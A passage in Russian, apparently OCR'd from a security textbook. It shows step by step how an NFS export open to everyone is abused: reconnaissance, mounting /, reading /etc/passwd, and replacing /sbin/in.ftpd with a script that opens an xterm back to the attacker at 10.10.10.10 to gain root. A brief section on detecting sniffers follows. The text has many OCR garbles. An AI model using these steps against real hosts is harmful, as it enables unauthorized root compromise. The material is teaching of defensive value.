доступ.
Чаще всего проблемы с системой NFS связаны с ее неправильной настройкой, когда экспортирование файловой системы разрешено любому пользователю (everyone). Иными словами, любой удаленный пользователь может смонтировать файловую систему, не проходя аутентификации. Эта проблема относится к разряду тех, которые возникают из-за лени или халатности некоторых администраторов и встречаются сплошь и рядом. Взломщику даже не нужно взламывать такую удаленную систему — все что требуется, это смонтировать файловую систему с помощью средств NFS и найти любой интересующий его файл. Обычно можно экспортировать рабочие каталоги пользователей так, что с помощью удаленного доступа можно получить множество интересных файлов (например, целые базы данных). Более того, экспортируется даже корневой каталог, о последствиях чего даже не нужно говорить! Давайте рассмотрим один пример, а затем рассмотрим инструменты, с помощью которых из системы NFS можно извлечь дополнительную пользу.
Итак, проверим интересующую нас систему и определим, используется ли в ней система NFS и какие файловые системы экспортируются (если таковые имеются, конечно).

[tsunami]# rpcinfo -p quake
program vers proto port
100000 4 tcp 111 rpcbind
100000 3 tcp 111 rpcbind
100000 2 tcp 111 rpcbind
100000 4 udp 111 rpcbind
100000 3 udp 111 rpcbind
100000 2 udp 111 rpcbind
100235 1 tcp 32771
100068 2 udp 32772
100068 3 udp 32772
100068 4 udp 32772
100068 5 udp 32772
100024 1 udp 32773 status
100024 1 tcp 32773 status
100083 1 tcp 32772
100021 1 udp 4045 nlockmgr
100021 2 udp 4045 nlockmgr
100021 3 udp 4045 nlockmgr
100021 4 udp 4045 nlockmgr
100021 1 tcp 4045 nlockmgr
100021 2 tcp 4045 nlockmgr
100021 3 tcp 4045 nlockmgr
100021 4 tcp 4045 nlockmgr
300598 1 udp 32780
300598 1 tcp 32775
805306368 1 udp 32780
805306368 1 tcp 32775
100249 1 udp 32781
100249 1 tcp 32776
1342177279 4 tcp 32777
1342177279 1 tcp 32777
1342177279 3 tcp 32777
1342177279 2 tcp 32777
100005 1 udp 32845 mountd
100005 2 udp 32845 mountd
100005 3 udp 32845 mountd
100005 1 tcp 32811 mountd
100005 2 tcp 32811 mountd
100005 3 tcp 32811 mountd
100003 2 udp 2049 nfs
100003 3 udp 2049 nfs
100227 2 udp 2049 nfs_acl
1C0227 3 udp 2049 nfs_acl
100003 2 tcp 2049 nfs
100003 3 tcp 2049 nfs
100227 2 tcp 2049 nfs_acl
100227 3 tcp 2049 nfs_acl

Обратившись к службе преобразования портов, на основе полученных результатов можно сделать вывод о том, что на удаленной системе запушены серверы NFS и mountd. Это означает, что данная система может экспортировать как минимум одну файловую систему.

[tsunami]# showmount -е quake
Export list for quake:
/ (everyone!
/usr (everyone)

Из результатов, полученных с помощью команды showmount, видно, что в рассматриваемом примере экспортируемыми является не только файловая система /usr, но и /, что связано с очень большим риском. Все, что нужно сделать взломщику для получения доступа к такой системе, — это воспользоваться командой mount / или mount /usr. После этого он получит доступ к любому файлу файловой системы / или /usr, в соответствии с разрешениями, заданными для файлов и каталогов. Команда mount входит в состав большинства клонов UNIX, хотя она оказывается и не такой гибкой, как некоторые другие средства. Для того чтобы познакомиться с особенностями использования команды mount более подробно, введите команду man mount, так как в некоторых случаях ее синтаксис может отличаться от того, который вы увидите в приведенном ниже примере.
[tsunami /root]# mount quake:/ /mnt
Другим, более удобным, инструментом исследования системы NFS является пакет nfsshell, разработанный Линдертом Ван Дорном (Leendert van Doom), которую можно найти по адресу ftp://ftp.cs.vu.nl/pub/leendert/nfsshell.tar.gz. В состав пакета nfsshell входит робастный клиент nfs. Этот клиент функционирует подобно клиенту FTP и позволяет легко манипулировать удаленной файловой системой. Многочисленные параметры nfs заслуживают того, чтобы привести их в данной книге.

[tsunami n£s]# nfs
nfs> help
host <host> - установка имени удаленного узла
uid [<uid> <secret-key>]] - установка идентификатора удаленного
пользователя
gid [<gid>] - установка идентификатора удаленной группы
cd [<path>j - изменение рабочего каталога на удаленном узле
led [<path>] - изменение рабочего каталога на локальном узле
cat <filespec> - вывод на экран заданного файла
Is -I <filespec> - просмотр содержимого удаленного каталога
get <fiiespec> - получение удаленного файла
df - информация о файловой системе
rm <file> - удаление файла на удаленном узле
in <filel> <f.ile2> - создание ссылки на файл
rnv <filel> <file2> - перемещение файла
mkdir <dir> - создание каталога на удаленном узле
rmdir <dir> - удаление каталога на удаленном узле
chmod <mode> <file> - изменение атрибутов файла
chown <uid>[.<gid>] <file> - изменение владельца
put. <Iccal-file> [<remote-file>] - отправка локального файла
mount [-upTU] [-P port] <path> - монтирование файловой системы
umount - демонтирование удаленной файловой системы
umountall - демонтирование всех удаленных файловых систем
export - просмотр списка всех экспортируемых файловых систем
dump - просмотр всех смонтированных удаленных файловых систем
status - вывод отчета о состоянии
help - вывод данной информации
quit - название говорит само за себя
bye - good bye handle [<handle>] - просмотр/установка дескриптора файла каталога
mknod <name> [b/c major minor] [p] - создание устройства

Сначала нужно сообщить утилите nfs, файловую систему какого узла необходимо смонтировать.

nfs> host quake
Using a privileged port (1022)
Open quake (192.168.1.10) TCP

Затем посмотрим, какие файловые системы можно экспортировать.

nfs> export
Export list for quake:
/ everyone
/usr everyone

Теперь, чтобы получить доступ к файловой системе /, необходимо ее смонтировать.

nfs> mount /
Using a privileged port (1021)
Mount '/', TCP, transfer size 8192 bytes

Проверим состояние соединения и определим идентификатор UID, с которым была смонтирована файловая система.


nfs> status
User id : -2
Group id :-2
Remote host :'quake'
Mount path :' / '
Transfer size : 8192

Итак, мы смонтировали файловую систему / с идентификаторами UID и GID, равными -2. Из соображений безопасности, если вы монтируете удаленную систему как суперпользователь root, ваши идентификаторы UID и GID подменяются другими значениями, отличными от 0. Поскольку мы смонтировали всю файловую систему, теперь без труда можно увидеть содержимое файла /etc/passwd.

nfs> cd /etc
nfs> cat passwd
root:x:0:1:Super-User:/:/sbin/sh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
Ip:x:71:8:Line Printer Admin:/usr/spool/lp:
smtp:x:0:0:Mail Daemon User:/:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp
Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:Nobody: /:
noaccess:x:60002:60002:No Access User:/:
nobody4:x:65534:65534:SunOS 4.x Nobody:/:
gk:x:1001:10::/export/home/gk:/bin/sh
sm:x:lC03:10::/export/home/sm:/bin/sh

Итак, теперь нам известны имена пользователей и соответствующие им идентификаторы. Однако файл паролей является скрытым (shadowed), поэтому им нельзя воспользоваться для взлома паролей. Поскольку мы не можем взломать ни одного пароля и, соответственно, не можем смонтировать файловую систему в качестве суперпользователя, необходимо определить другие идентификаторы пользователей, которые позволяют получить привилегированный доступ. Таким пользователем может оказаться daemon, но лучше всего остановить выбор на учетной записи bin. или UID 2, так как на многих системах пользователь bin является владельцем исполняемых файлов. Если взломщик сможет получить доступ к исполняемым файлам посредством системы NFS или каким-либо другим способом, то у большинства систем в таком случае не останется ни единого шанса на выживание. Затем нужно смонтировать систему /usr, изменить идентификаторы UID и GID, а затем попытаться получить доступ к исполняемым файлам.

nfs> mount /usr
Using a privileged port(1022)
Mount '/usr', TCP, transfer size 8192 bytes.
nfs> uid 2
nfs> gid 2
nfs> status
User id : 2
Group id : 2
Remote host: 'quake'
Mount path : '/usr'
Transfer size : 8192

Теперь мы обладаем всеми привилегиями, которыми обладает пользователь bin на удаленной системе. В нашем примере файловая система не была экспортирована с какими-то специальными параметрами, которые ограничивали бы возможности пользователя bin по созданию или модификации файлов. Поэтому все, что осталось сделать, — это запустить программу xterm или создать обратный канал к нашей системе, который позволит получить доступ к взламываемой системе.
Создадим на нашей системе следующий сценарий и сохраним его в файле in. f tpd.

tt!/bin/sh
/usr/openwin/bin/xterm -display 10.10.10.10:0.0 &

Теперь нужно перейти в каталог /sbin удаленной системы и заменить исходный файл in. ftpd нашей версией.

nfs> cd /sbin
nfs> put in.ftpd

И наконец, необходимо указать, чтобы удаленный сервер подключился к Х-серверу нашего узла с помощью команды xhost. Для этого нужно ввести следующие команды.

[tsunami]# xhost +quake
quake being added to access control list
[tsunami]# ftp quake
Connected to quake.

В результате выполнения всех этих действий наша система станет X-терминалом удаленного узла с привилегиями root. Ввиду того что в этой системе файл in. ftpd вызывается из файла inetd с привилегиями суперпользователя, наш сценарий также будет выполнен с этими привилегиями, что означает получение доступа в качестве суперпользователя.

# id
uid=0{root)gid=0(root)
#



Обнаружение анализаторов



Обнаружение анализаторов

Существует два основных подхода к обнаружению анализаторов — на уровне узла и на уровне сети. На уровне узла самый простой метод заключается в определении того, работает ли сетевой адаптер системы в промискуитетном режиме. В системе UNIX для ответа на этот вопрос можно воспользоваться несколькими программами, включая программу Check Promiscuous Mode (cpm), разработанную специалистами университета Carnegie Mellon University (эту программу можно найти по адресу ftp://info.cert.org/pub/tools/).
Кроме того, анализаторы отображаются в списке активных процессов и со временем, как правило, приводят к созданию файлов журналов огромного объема. Поэтому довольно простой сценарий UNIX, в котором используются команды ps, Isof и grep, может обнаружить деятельность, напоминающую работу анализатора. Однако, учитывая то, что опытные взломщики обычно стараются как можно тщательнее замаскировать процесс анализа сетевых пакетов, а также скрыть журналы в специально созданном скрытом каталоге, данный подход нельзя назвать очень эффективным.
Методы обнаружения анализаторов на уровне сети очень долго существовали только теоретически. Лишь относительно недавно они были реализованы в виде программного обеспечения. К таким средствам относится программа AntiSnifT, разработанная группой исследования безопасности L0pht (http://www.10pht.com/). К сожалению, ее первая версия работает только под управлением системы Windows, однако технические комментарии достаточно подробны для того, чтобы создать центральный пункт, из которого можно выполнять сканирование всей сети и осуществлять в ней поиск находящихся в промискуитетном режиме сетевых адаптеров. Кроме программы AntiSnifT, в системе UNIX можно запустить программу sentinel (http://www.packetfactory. -net/Projects/Sentinel/), которая предоставляет дополнительные возможности поиска анализаторов на уровне сети.